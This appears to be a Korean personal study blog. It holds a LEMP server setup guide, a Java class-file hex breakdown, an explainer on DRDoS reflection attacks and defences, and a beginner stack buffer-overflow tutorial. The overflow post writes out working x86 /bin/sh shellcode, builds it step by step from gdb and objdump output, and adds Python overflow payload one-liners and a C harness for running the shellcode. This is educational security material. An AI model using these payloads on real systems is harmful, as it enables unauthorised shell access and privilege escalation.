Nginx, PHP, Mariadb in Ubuntu 14.04 (kor)

Study-programing/linux-server|2015. 2. 22. 19:55

How to install Nginx, PHP, Mariadb in Ubuntu 14.04

이 문서는 Nginx 와 PHP5, Mariadb 를 Ubuntu 14.04 에서 사용하기 위해 작성하였다.
https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-on-ubuntu-12-04 를 참고하였다.


Install

Step 1 : Update apt-get

sudo apt-get update

이는 최신의 프로그램을 다운 받기 위한 업데이트 과정이다.

Step 2 : Install Nginx

sudo apt-get install nginx

Step 3 : Install mariadb

mariadb 와 mysql 은 엔드유저 입장에서는 동일한 동작을 한다고 생각해도 된다.

하지만, 일부 내부 동작과 라이센스가 다르기 때문에 mariadb를 사용하도록 한다.

sudo apt-get install mariadb-server

설치 중 입력을 요구하는 비밀번호는 database root 계정의 비밀번호가 되므로, 잊지 않도록 한다.

Step 4 : Install PHP

PHP 는 PHP5 로 작업하도록 한다. 또한, Nginx 와 Fast CGI 연동을 위해, php5-fpm (php FastCGI Process Manager) 를 설치하도록 한다.

sudo apt-get install php5-fpm

설치 이후, mariadb 와 연동을 위한 모듈을 설치하도록 한다.

sudo apt-get install php5-mysql

Setting

Step 1 : config PHP

우선, /etc/php5/fpm 폴더의 하위에 php-fpm 관련 설정들이 들어있다.

먼저 php.ini 의 내용을 수정하여 보안 취약점을 막도록 하자.

sudo vim /etc/php5/fpm/php.ini

다음, cgi.fix_pathinfo가 있는 라인을 찾아서 아래와 같이 수정해준다.(약 768라인)

cgi.fix_pathinfo=0

해당 값이 1 일 경우, http://localhost/ bad.hack/aa.php 과 같이 비정상 적인 호출을 할 수 있다.(bad.hack 를 서버에서 읽게 된다.)

다음으로, ./pool.d/www.conf 의 내용을 수정하여, 소켓을 설정하도록 한다.

sudo vim /etc/php5/fpm/pool.d/www.conf

다음, listen = 이 있는 라인을 찾아서, 아래와 같이 수정해준다,(약 33라인)

listen = /var/run/php5-fpm.sock

이는, Nginx와 php가 같은 서버에서 돌아갈 때 사용되는 내부 소켓이다.

이후, php-fpm 을 재시작 해주도록 한다.

sudo service php5-fpm restart

Step 2 : config Nginx

nginx 는 /etc/nginx 폴더 하위에 설정들이 들어있다.

이 중, sites-available 폴더에 가능한 설정들을 넣어놓고, 그 중 사용할 설정을 sites-enabled에서 링크를 걸어 사용한다.

기본 설정은 sites-enabled/default 이다.

따라서 해당 파일을 열어 설정을 수정하도록 한다.

sudo vim /etc/nginx/sites-enabled/default

해당 파일 중 server { listen 80;… } 부분의 내용을 일부 수정하여야 한다.

이는 80번 포트로 들어오는 입력에 대한 내용을 설정한다.

  1. 우선 index 라인에 index.php 를 추가한다.
  2. server_name 을 접속할 도메인 혹은 ip로 바꾸어주도록 한다.
  3. 아래 내용을 추가해 주도록 한다.(기존 주석으로 묶인 내용이 있다면, 적절히 주석을 풀어주어도 된다.)

    pass the PHP scripts to FastCGI server listening on the php-fpm socket

     location ~ \.php$ {
             try_files $uri =404;
             fastcgi_pass unix:/var/run/php5-fpm.sock;
             fastcgi_index index.php;
             fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
             include fastcgi_params;
     }
    

이는, .php 로 끝나는 주소에 대하여 fcgi로 동작하도록 해준다.

이후, nginx를 재시작 해주도록 한다.

sudo service nginx restart

재시작이 실패했을 경우, 설정파일 오류일 경우가 많으므로 살펴보도록 한다.

Testing

이전의 /etc/nginx/sites-enabled/default 파일 중 server { listen 80;… } 안에 있는 root 에서 가르키는 폴더가, web root 폴더이다.

따라서 해당 폴더 (/usr/share/nginx/html) 에 실행하기 원하는 파일을 생성하면 접근 가능하다.

test.php 란 이름으로 아래와 같이 작성해 주도록 한다.

<?php
phpinfo();
?>

이후, http://uri/test.php

로 접근시 php설정 정보에 대한 페이지가 보인다면 성공이다.

댓글()

JAVA BYTECODE 분석 (with hello world)-tutorial

Study-security/Reversing|2014. 8. 23. 17:04
          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0000 0000 CA FE BA BE 00 00 00 34 00 1D 0A 00 06 00 0F 09
           |Magic_Num| |Major||Miner||CPcnt||Constant Pool1| |--
0000 0010 00 10 00 11 08 00 12 0A 00 13 00 14 07 00 15 07 
          Constant Pool2||ConPool3| |Constant Pool4||conPool5||--
0000 0020 00 16 01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 
            -----------------------------------------------------
0000 0030 56 01 00 04 43 6F 64 65 01 00 0F 4C 69 6E 65 4E 
            ----------------------------------------------------- 
0000 0040 75 6D 62 65 72 54 61 62 6C 65 01 00 04 6D 61 69 
            -----------------------------------------------------
0000 0050 6E 01 00 16 28 5B 4C 6A 61 76 61 2F 6C 61 6E 67 
            -----------------------------------------------------
0000 0060 2F 53 74 72 69 6E 67 3B 29 56 01 00 0A 53 6F 75 
            ----------------------------------------------------- 
0000 0070 72 63 65 46 69 6C 65 01 00 08 46 6F 6F 2E 6A 61 
            ----------------------------------------------------- 
0000 0080 76 61 0C 00 07 00 08 07 00 17 0C 00 18 00 19 01 
0000 0090 00 0C 48 65 6C 6C 6F 57 6F 72 6C 64 21 21 07 00 
0000 00A0 1A 0C 00 1B 00 1C 01 00 03 46 6F 6F 01 00 10 6A
0000 00B0 61 76 61 2F 6C 61 6E 67 2F 4F 62 6A 65 63 74 01
0000 00C0 00 10 6A 61 76 61 2F 6C 61 6E 67 2F 53 79 73 74 
0000 00D0 65 6D 01 00 03 6F 75 74 01 00 15 4C 6A 61 76 61 
0000 00E0 2F 69 6F 2F 50 72 69 6E 74 53 74 72 65 61 6D 3B 
0000 00F0 01 00 13 6A 61 76 61 2F 69 6F 2F 50 72 69 6E 74 
0000 0100 53 74 72 65 61 6D 01 00 07 70 72 69 6E 74 6C 6E 
0000 0110 01 00 128 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 
0000 0120 74 72 69 6E 67 3B 29 56 00 21 00 05 00 06 00 00
          -------------------------| |flag| |this| |super||interface counter|  
                                        :flag == 21 -> ACC_PUBLIC | ACC_SUPER
0000 0130 00 00 00 02 00 01 00 07 00 08 00 01 00 09 00 00
        |field||mcnt||flag||name||desc||acnt||name||length
                 mcnt := methods_count  acnt := attr_count
0000 0140 00 1D 00 01 00 01 00 00 00 05 000 B7 00 01 B1 00
          -----||Xstack||Xlocal||code length||-----code------||exception
0000 0150 00 00 01 00 0A 00 00 00 06 00 01 00 00 00 01 00
    table len||atrcnt||name||-atr_length||tbllen||srtpc||linum||--
0000 0160 09 00 0B 00 0C 00 01 00 09 00 00 00 25 00 02 00
          flag||name| |desc| |acnt| |name||---length--||xstack||-- 
0000 0170 01 00 00 00 09 B2 00 02 12 03 B6 00 04 B1 00 00
       xlocal| |code length||------------code-------------||exception table length|
0000 0180 00 01 00 0A 00 00 00 0A 00 02 00 00 00 03 00 08 
      attr_coount||name||-attr_length||tblen||srtpc||linum||strpc := start pc|
0000 0190 00 04 00 01 00 0D 00 00 00 02 00 0E
      line_number||atrcnt||name||-atrlength-||s_name|

flag byte. 
  ACC_PUBLIC = 0x0001
  ACC_FINAL = 0x0010
  ACC_SUPER = 0x0020 # old invokespecial instruction semantics (Java 1.0x?)
  ACC_INTERFACE = 0x0200
  ACC_ABSTRACT = 0x0400
  ACC_SYNTHETIC = 0x1000 
  ACC_ANNOTATION = 0x2000
  ACC_ENUM = 0x4000
JAVA CODE 
    public class Foo {
          public static void main(String args[]) {
               System.out.println("HelloWorld!!");
            }
     }


댓글()

DRDoS 란?

Study-security|2014. 6. 3. 01:01

DRDoS 란?

작성자 EeS at Aegis


1. 서론

     7.7 디도스 사건 등 DDoS 에 의한 공격을 이용한 큰 사건들 이후
     DDoS 공격에 대해 세계적으로 많은 관심이 모였습니다.
     이에 DoS 공격도 발전하여 좀 더 방어가 불가능하고, 공격이 용이한 형태의 공격법이 나왔습니다.
     그 중 DRDoS 공격에 대해 설명하러 합니다.


2. 기존 기술
     DoS(Denial of Service) :
          DoS 공격은 많은 양의 패킷을 보내 인터넷 서비스의 정상적인 동작을 방해하는 공격 입니다.
          DoS 공격의 발전으로 여러대의 좀비 피시를 이용한 DDoS 공격이 있습니다.

     DDoS(Distributed Denial of Service) :
          DDoS 공격은 미리 공격자의 의도대로 동작하도록 감염된 여러대의 pc를 이용한 DoS 공격 입니다.

3. DRDoS(Distributed Reflection DoS) :
     a. TCP 연결의 동작원리
          TCP연결은 3Way-handshake 를 통해 신뢰성을 가집니다.
          

                         이미지 출처: http://www5e.biglobe.ne.jp/aji/3min/39.html

          우선 클라이언트가 서버에게 syn 패킷을 보내면 서버는 클라이언트에게 ACK 와 SYN 패킷을 보내고,
          그걸 받은 클라이언트는 다시 서버에게 ACK 패킷을 보냅니다.

          일련의 과정을 통해 TCP연결이 이루어 집니다.

     b. DRDoS 의 동작원리
          DRDoS 는 위의 연결 방식을 악용하여 공격자는 임의의 서버에 SYN 패킷을 보냅니다.
          이 때 SYN 패킷의 출발지주소(source addr)는 공격받을 대상의 주소로 변조됩니다.

          따라서 공격을 받는 대상은, 정상적인 TCP연결로 인식하게 되기 때문에, 대처가 힘들어 집니다.
          또한, 공격의 최초 발신지의 탐색이 어려워지기 때문에 IP차단을 통한 방어가 힘듭니다.

          이 때 사용되는 임의의 서버(Reflector)는 들어오는 패킷에 응답하는 모든 장비가 될 수 있습니다.
          

                    이미지 출처: Survey of Network-Based Defense Mechanisms Countering the DoS and DDoS Problems

     c. DRDoS 공격 방식
          DRDoS는 DDoS와 같이 좀비 피시를 이용하는 사례가 많습니다. 
          이 때 공격받는 입장에서는 DDoS와 달리 공격자(zombie)를 알 수 없고, 정상적인 동작을 하는 패킷이기 
    때문에,정상 패킷과 비정상 패킷을 구분하기 어려워집니다.

     d. 방어 방법
          DRDoS의 특징적인 동작은, 자신의 IP를 변경하여 SYN을 보내는 점 입니다.
          따라서 ISP단 에서 발신자가 변조된 패킷의 발신을 제한한다면, DRDoS 공격을 막을 수 있습니다.

          이외에는, 위협을 확인 할 시, 현재 공격받고 있는 포트의 서비스를 포기하고 막는 방법이 유일합니다.
          DRDoS의 특성 상 기존 DDoS 혹은 DoS 처럼 특정 IP에서 공격이 오는게 아닌 인터넷에 연결되어 있는
    서버 중 패킷에 응답하는 모든 장비가, 공격원이 되기 때문에 트레픽을 많이 발생시키는 IP를 막는 방식으로
    방어가 불가능합니다.

4. 마무리
     DRDoS 공격은 한국에서는 2002년 처음 발견되었으며, 이후 확산되었습니다.
     모든 DoS관련 공격이 그렇듯, 공격자의 노력과 수준에 비해 큰 피해를 입힐 수 있으며,
     방어는 앞서 말했듯이 근본적인 해결보다는, 공격받는 서비스를 포기하더라도 다른 서비스를 살리는데에
     주 목적을 두게 됩니다.



이 문서는 공격 방법을 가르치는데에 목적을 두고있지 않습니다.
상용서버나, 타인에게 해당 기법을 통해 공격 하는건 위법 행위이며,
작성자는 아무런 책임을 지지 않습니다.


댓글()

Buffer Over Flow for Newbie (BOF 4 Newbie) (1)

Study-security/B.O.F|2014. 1. 26. 21:48

===========================================================================================================

시작하며...

이 문서는 BOF의 개념과 간단한 실습으로 이루어져 있으며, 

BOF를 처음 접하는 사람을 대상으로 작성되었습니다.

GNU정신에 따라 작성자 표기시 자유로운 복제 및 편집이 가능합니다.

Written by EeS at @egis


----------------------------------------------------------------------------------------------------------- 목차


A. B.O.F 란?

B. 메모리 구조

C. B.O.F 원리

D. 쉘코드 만들기

E. B.O.F 실습

F. EGG SHELL?

G. 마치며



-----------------------------------------------------------------------------------------------------------


A. B.O.F란?

B.O.F는 Buffer OverFlow 의 약자로 Buffer를 넘치게 하여, 스택을 수정하는 

공격기법입니다.

Buffer는 Input/Output을 위해 데이터가 임시로 저장되는 장소이며, 스택과 힙

두 종류가 있습니다. 따라서 Buffer OverFlow attack 도 Stack Overflow 와 

Heap Overflow 두 종류가 있지만 일반적으로 BOF라 하면 Stack Overflow 를

의미하므로, 이 문서에서도 BOF는 Stack Overflow를 의미합니다.

Buffer에 예상보다 큰 정보를 입력하게 되면, Buffer가 넘쳐서(Overflow) 다른

데이터를 덮게 됩니다. 이를 통해 특정 위치에 자신이 원하는 데이터를 넣는것이

BOF기법입니다.

///////참고. Stack 이란?///////////////////////////////////////////////////////

스택(Stack)은 먼저 들어온 자료가 먼저 나가는 자료구조 입니다. 스택의 구조는

쌓여있는 책을 생각하시면 됩니다. 책이 쌓여있을 때 중간에 있는 책을 뺄 수 없다면,

맨 위에 있는 책(즉 가장 마지막에 쌓은 책) 부터 꺼내야 합니다. 스택은 이와 같이

나중에 들어온 데이터가 먼저 나가게 되므로 FIFO (First In Fisrt Out) 라고 합니다.

///////////////////////////////////////////////////////////////////////////////


B. 메모리 구조

컴퓨터가 Process를 실행시킬 때, 컴퓨터는 각 Process마다 가상의 메모리 공간을

부여합니다. 따라서 각 Process는 다른 Process를 침범하지 않는 독자적인 메모리

공간을 가질 수 있습니다.

메모리 공간은 TEXT, DATA, HEAP, STACK 으로 이루어져 있으며, TEXT 에는 Process

의 내용이 저장되며, DATA에는 전역변수와, String 값들이 저장됩니다.

HEAP에는 동적으로 생성되는 내용들이 저장되고, STACK에는 지역변수 들이 저장됩니다.

메모리 구조는 아래와 같습니다.

============================== 메모리의 높은 주소

=

= STACK

=

=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 아래로(낮은 주소로) 성장한다.

= 즉 새로 추가되는 데이터의 시작 주소값이 더 작다.

=

=

=△-△-△-△-△-△-△-△-△-△ 위로(높은주소로) 성장한다.

= 즉 새로 추가되는 데이터의 시작 주소값이 더 크다.

= HEAP

=

=-----------------------------

=

= DATA

=

=-----------------------------

=

= TEXT

=

=============================== 메모리의 낮은 주소

위 그림에서 알수있듯 스택은 데이터가 추가될수록 낮은 주소로 성장합니다. 이는

BOF가 이뤄지는 이유가 됩니다.

보통 Process내의 함수가 실행될 때 스택의 구조는 아래와 같습니다.

============================== 메모리의 높은 주소

= 인자 값 a

= b

= - - - - - - - - - - - - - - - - - 

= RET

= - - - - - - - - - - - - - - - - -

= SFP

= - - - - - - - - - - - - - - - - -

=

= 지역변수

=

=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 메모리의 낮은 주소

a와 b는 

int test(int a, int b)

란 함수가 있을 때 인자값으로 받는 a와 b 입니다.

인자를 받지 않을 경우 없을 수 도 있고, 여러개일 경우 더 많을수도 있습니다.

RET는 Return Addr 를 의미합니다.

해당 함수가 종료된 이후 RET에 저장된 위치로 돌아가게 됩니다.

SFP는 Stack Frame Ponier 의 약자이며, 스택의 현재 위치를 저장합니다.

위 그림에서 각 데이터는 32bit 기준으로 4byte 를 한 줄로 표기하였다.

지역변수에 새로운 내용이 추가될 때, Stack 은 메모리를 4Byte 기준으로 나누고

싶어한다. 따라서 추가되는 내용이 4Byte 이하이거나, 4로 나눠지지 않을 경우,

빈 공간을 추가해서 다음 추가되는 데이터가 4Byte 단위로 위치하도록 한다.

EX)

8-------------------------------------

| char a|빈공간 |빈공간 |빈공간 |

4-------------------------------------

| int b |

0-------------------------------------

(좌측에 있는 숫자는 주소를 의미한다.)

앞으로는 편의를 위해 가로로 나열한 모양으로 표기하도록 하겠다.

EX) [| int b | char a | SFP | RET | a | b |]

C. B.O.F 원리

BOF는 앞서 말했듯, Buffer에 예상보다 큰 정보를 입력하여, 특정 위치에 자신이 

원하는 데이터를 넣는 기법입니다. BOF가 가능한 이유는 앞서 말했듯, 스택은 높은

주소에서 낮은 주소로 성장하기 때문입니다. 아래와 같은 구조에서

---------------------------------

| int a |

---------------------------------

| b[3] |

- - - - - - - - -

| b[2] |

- int b[4] - - - - - -

| b[1] |

- - - - - - - - -

| b[0] |

---------------------------------

위 그림에서 b[4]에 16Byte 보다 큰 정보를 입력할 경우 16byte를 초과하는 데이터는

int a 가 위치하는 부분에 입력되게 됩니다. 즉 &b[4] == &a 입니다.

이 그림을 가로로 나열하면 

b[0] b[1] b[2] b[3]  a  

[| | | | | |]

입니다. 

b에 16Byte 크기만큼 'A'문자를 입력했을 때 상태는

b[0] b[1] b[2] b[3]  a  

[| AAAA |  AAAA | AAAA | AAAA | 0000 |]

입니다.

b에 17Byte 크기만큼 'A'문자를 입력한다면

b[0] b[1] b[2] b[3]  a  

[| AAAA |  AAAA | AAAA | AAAA | A000 |]

가 됩니다.

int a 와 int b[4]를 맴버 변수로 갖는 함수 test(int x, int y) 의 스택 구조라면

b[0] b[1] b[2] b[3]     a SFP RET      x         y

[| | | | | | | | | |]

High Low

와 같이 이루어져 있습니다.

이 때 RET에 저장되는 값을 바꾼다면, 해당 함수가 종료된 후, 바뀐 RET 값으로 이동

하게 됩니다. 이를 위해서는 RET 까지 거리 (b[4] + a + SFP = 24Byte) 만큼 데이터

를 입력하고 이후 이동을 원하는 주소를 입력하면 됩니다.

즉 0xffffffff 란 주소로 이동하고 싶다면, "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff

를 입력값으로 준다면 스택이 아래와 같이 채워집니다.


b[0] b[1] b[2] b[3]  a SFP RET     x        y

[| aaaa | aaaa | aaaa | aaaa | aaaa | aaaa | 0xffffffff| | |]

High Low


리눅스에서 이와 같은 동작을 위해 주로 Python을 이용하게 됩니다.

./test `python -c 'print "a"*24+"\xff\xff\xff\xff"'`

과 같이 입력할 경우, argc 값에 "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff가 들어가게

됩니다.

만약 scanf등의 함수의 입력값으로 넣고싶다면,

python -c 'print "a"*24+"\xff\xff\xff\xff"' | ./test

와 같이 입력하면 됩니다.

즉 BOF의 과정은 

1. 특정 위치에 실행하고싶은 코드를 작성합니다 

2. RET을 해당 위치로 바꿔줍니다.

3. END

입니다.

보통 BOF는 setuid가 걸린 프로그램에서 쉘을 실행시키는게 목적이므로, 작성하는

코드는 쉘을 실행시키는 코드가 됩니다,

D. 쉘코드 만들기

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0

\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80

\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

위 문자열은 구글링을 통해 얻을수 있는 쉘코드 입니다.

쉘코드는 assembly명령어를 기계어로 바꾼 문자열 입니다. 이를 위해 disassemble

이 필요합니다.

쉘코드를 만들기 위해 처음부터 어셈블로 쉘을 실행시키는 코드를 짜도 되지만,

편의를 위해 c로 짠 바이너리를 disassemble 하여 어셈블리 코드를 얻도록 합니다.

쉘을 실행시키기 위한 c언어 코드는 아래와 같습니다.

#include<stdio.h>

int main()

{

char *str[2];

str[0] = "/bin/sh";

str[1] = NULL;

execve(str[0] , str, NULL);

}

이 코드를 gcc에 -static 옵션을 줘서 컴파일 하도록 합니다.

gcc -o shell shell.c -static

해당 코드를 gdb를 활용해 disassemble 하면, 아래와 같은 화면을 볼 수 있습니다.

[root@aegis shell]# gdb execl

(gdb) disas main

Dump of assembler code for function main:

0x080481d0 <main+0>: push   %ebp

0x080481d1 <main+1>: mov    %esp,%ebp

0x080481d3 <main+3>: sub    $0x8,%esp

0x080481d6 <main+6>: and    $0xfffffff0,%esp

0x080481d9 <main+9>: mov    $0x0,%eax

0x080481de <main+14>: sub    %eax,%esp

0x080481e0 <main+16>: movl   $0x808ef88,0xfffffff8(%ebp)

0x080481e7 <main+23>: movl   $0x0,0xfffffffc(%ebp)

0x080481ee <main+30>: sub    $0x4,%esp

0x080481f1 <main+33>: push   $0x0

0x080481f3 <main+35>: lea    0xfffffff8(%ebp),%eax

0x080481f6 <main+38>: push   %eax

0x080481f7 <main+39>: pushl  0xfffffff8(%ebp)

0x080481fa <main+42>: call   0x804d9f0 <execve>

0x080481ff <main+47>: add    $0x10,%esp

0x08048202 <main+50>: leave  

0x08048203 <main+51>: ret    

End of assembler dump.

(gdb)

main+42 부분에서 execve 로 넘어가므로, execve 함수도 disassemble 해보도록 합니다.

(gdb) disas execve

Dump of assembler code for function execve:

0x0804d9f0 <execve+0>: push   %ebp

0x0804d9f1 <execve+1>: mov    $0x0,%eax

0x0804d9f6 <execve+6>: mov    %esp,%ebp

0x0804d9f8 <execve+8>: test   %eax,%eax

0x0804d9fa <execve+10>: push   %edi

0x0804d9fb <execve+11>: push   %ebx

0x0804d9fc <execve+12>: mov    0x8(%ebp),%edi

0x0804d9ff <execve+15>: je     0x804da06 <execve+22>

0x0804da01 <execve+17>: call   0x0

0x0804da06 <execve+22>: mov    0xc(%ebp),%ecx

0x0804da09 <execve+25>: mov    0x10(%ebp),%edx

0x0804da0c <execve+28>: push   %ebx

0x0804da0d <execve+29>: mov    %edi,%ebx

0x0804da0f <execve+31>: mov    $0xb,%eax

0x0804da14 <execve+36>: int    $0x80

0x0804da16 <execve+38>: pop    %ebx

0x0804da17 <execve+39>: cmp    $0xfffff000,%eax

0x0804da1c <execve+44>: mov    %eax,%ebx

0x0804da1e <execve+46>: ja     0x804da26 <execve+54>

0x0804da20 <execve+48>: mov    %ebx,%eax

0x0804da22 <execve+50>: pop    %ebx

0x0804da23 <execve+51>: pop    %edi

0x0804da24 <execve+52>: leave  

0x0804da25 <execve+53>: ret    

0x0804da26 <execve+54>: neg    %ebx

0x0804da28 <execve+56>: call   0x80485fc <__errno_location>

0x0804da2d <execve+61>: mov    %ebx,(%eax)

0x0804da2f <execve+63>: mov    $0xffffffff,%ebx

0x0804da34 <execve+68>: jmp    0x804da20 <execve+48>

0x0804da36 <execve+70>: nop    

0x0804da37 <execve+71>: nop    

End of assembler dump.

(gdb)

int $0x80 은 리눅스에서 Syscall 을 호출하는 인터럽트 입니다. 따라서 int $0x80에

브레이크 포인트를 설정하고 각 레지스터에 들어있는 값을 확인해 보도록 합니다. 

(gdb) b *execve+36 

Breakpoint 1 at 0x804da14

(gdb) run

Starting program: /root/shell/execl 

Breakpoint 1, 0x0804da14 in execve ()

(gdb) info reg

eax            0xb 11

ecx            0xbfffece0 -1073746720

edx            0x0 0

ebx            0x808ef88 134803336

esp            0xbfffecbc 0xbfffecbc

ebp            0xbfffecc8 0xbfffecc8

esi            0x2d 45

edi            0x808ef88 134803336

eip            0x804da14 0x804da14

eflags         0x246 582

cs             0x23 35

ss             0x2b 43

ds             0x2b 43

es             0x2b 43

fs             0x0 0

gs             0x0 0

(gdb) x/x $eax

0xb: Cannot access memory at address 0xb

(gdb) x/s $ebx

0x808ef88 <_IO_stdin_used+4>: "/bin/sh"

(gdb) x/x $ecx

0xbfffece0: 0x0808ef88

(gdb) x/x $edx

0x0: Cannot access memory at address 0x0

(gdb) 

즉, 각 레지스터에 저장되는 값은 아래와 같습니다.

%eax = 0xb ; execve 시스템 콜 번호

%ebx = str[0] ; "/bin/sh" 문자열 시작 주소

%ecx = str ; 배열 포인터의 시작 주소

%edx = 0 ; NULL

해당 바이너리의 어셈블리 코드를 얻기 위하여 gcc로 컴파일 합니다.

[root@aegis shell]# gcc -S execl.c

만들어진 코드는 아래와 같습니다.

.file "execl.c"

.section .rodata

.LC0:

.string "/bin/sh"

.text

.globl main

.type main,@function

main:

pushl %ebp

movl %esp, %ebp

subl $8, %esp

andl $-16, %esp

movl $0, %eax

subl %eax, %esp

movl $.LC0, -8(%ebp)

movl $0, -4(%ebp)

subl $4, %esp

pushl $0

leal -8(%ebp), %eax

pushl %eax

pushl -8(%ebp)

call execve

addl $16, %esp

leave

ret

.Lfe1:

.size main,.Lfe1-main

.ident "GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)"

해당 코드와 각 레지스터에 들어가는 값을 기반으로, 쉘코드를 작성합니다.

.global main

.LC0:

         .string "/bin/sh"

main:

         movl $.LC0, %ebx

         push $0x0

         push %ebx

         movl %esp, %ecx

         movl $0x0, %edx

         movl $0xb, %eax

         int $0x80

         leave

         ret

[root@ftz shell]# gcc execl.s

[root@ftz shell]# ./a.out 

sh-2.05b# 

작성된 코드는 정상 작동하지만, BOF공격엔 사용할수 없습니다. 

우선 특정 위치에 "/bin/sh"문자열이 포함되있어야만 정상 작동을 하지만, BOF공격에

사용하기 위해, text부분만을 사용할 시 해당 문자열이 저장되어있지 않습니다.

이를 해결하기 위해 아래와 같이 코드를 변경합니다.

.global main

shell:

pop %ebx

         push $0x0

         push %ebx

         movl %esp, %ecx

         movl $0x0, %edx

         movl $0xb, %eax

         int $0x80

main:

call shell

.string "/bin/sh"


call을 사용시 다음 실행될 주소를 스택에 저장합니다.(RET) 따라서 call 다음 주소에

"/bin/sh/"를 넣어두면, "/bin/sh/"의 주소가 스택에 저장되어 해당 주소를 이용할 수

있습니다. 따라서 movl $.LC0, %ebx 이 pop %ebx 으로 변경되었습니다.

하지만, 아직 BOF에 사용할수 없습니다.

$0x0이 있기 때문입니다. 0x00은 문자열의 끝을 의미하므로 이대로 기계어로 바꾼 다음

입력하게 되면, 0x00에서 입력이 종료됩니다.

따라서 0x00을 제거하여야 합니다.

0x00을 제거하기 위해서 xor을 사용하여 특정 레지스터에 0을 저장한 다음 사용합니다.

이를 적용하면 코드가 아래와 같이 변경됩니다.

.global main

shell:

pop %ebx

xor %edx, %edx

         push %edx

         push %ebx

         movl %esp, %ecx

         movl $0xb, %eax

         int $0x80

main:

call shell

.string "/bin/sh"

0x0을 사용하지 않았지만, $0xb가 0x0b000000 이므로, 00 이 여전히 존재합니다.

이를 해결하기 위해선 %eax를 0x00000000 으로 바꾼 다음 앞 부분만 0b로 바꿔주면

해결됩니다. 이를 위해 1byte 레지스터인 al을 사용합니다.

.global main

shell:

pop %ebx

xor %eax, %eax

xor %edx, %edx

         push %eax

         push %ebx

         movl %esp, %ecx

         mov $0xb, %al

         int $0x80

main:

call shell

.string "/bin/sh"

이제 완성된 쉘코드를 기계어로 바꾸기 위해 objdump를 사용합니다.

[root@aegis shell]# objdump -d a.out

위 명령어를 입력하면, 해당 바이너리가 기계어로 분석됩니다. 우리는 그 중 main과

shell을 사용합니다.

080482f4 <shell>:

80482f4: 5b                   pop    %ebx

80482f5: 31 c0                 xor    %eax,%eax

80482f7: 31 d2                 xor    %edx,%edx

80482f9: 50                   push   %eax

80482fa: 53                   push   %ebx

80482fb: 89 e1                 mov    %esp,%ecx

80482fd: b0 0b                 mov    $0xb,%al

80482ff: cd 80                 int    $0x80

08048301 <main>:

8048301: e8 ee ff ff ff       call   80482f4 <shell>

8048306: 2f                   das    

8048307: 62 69 6e             bound  %ebp,0x6e(%ecx)

804830a: 2f                   das    

804830b: 73 68                 jae    8048375 <__do_global_ctors_aux+0x1>

완성된 쉘코드는 

\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff

\x2f\x62\x69\x6e\x2f\x73\x68

입니다.

char shellcode[] =

"\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff

\x2f\x62\x69\x6e\x2f\x73\x68";

main() 

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

위 코드를 통해 완성된 쉘코드가 정상 동작하는것을 확인해볼수 있습니다.



댓글()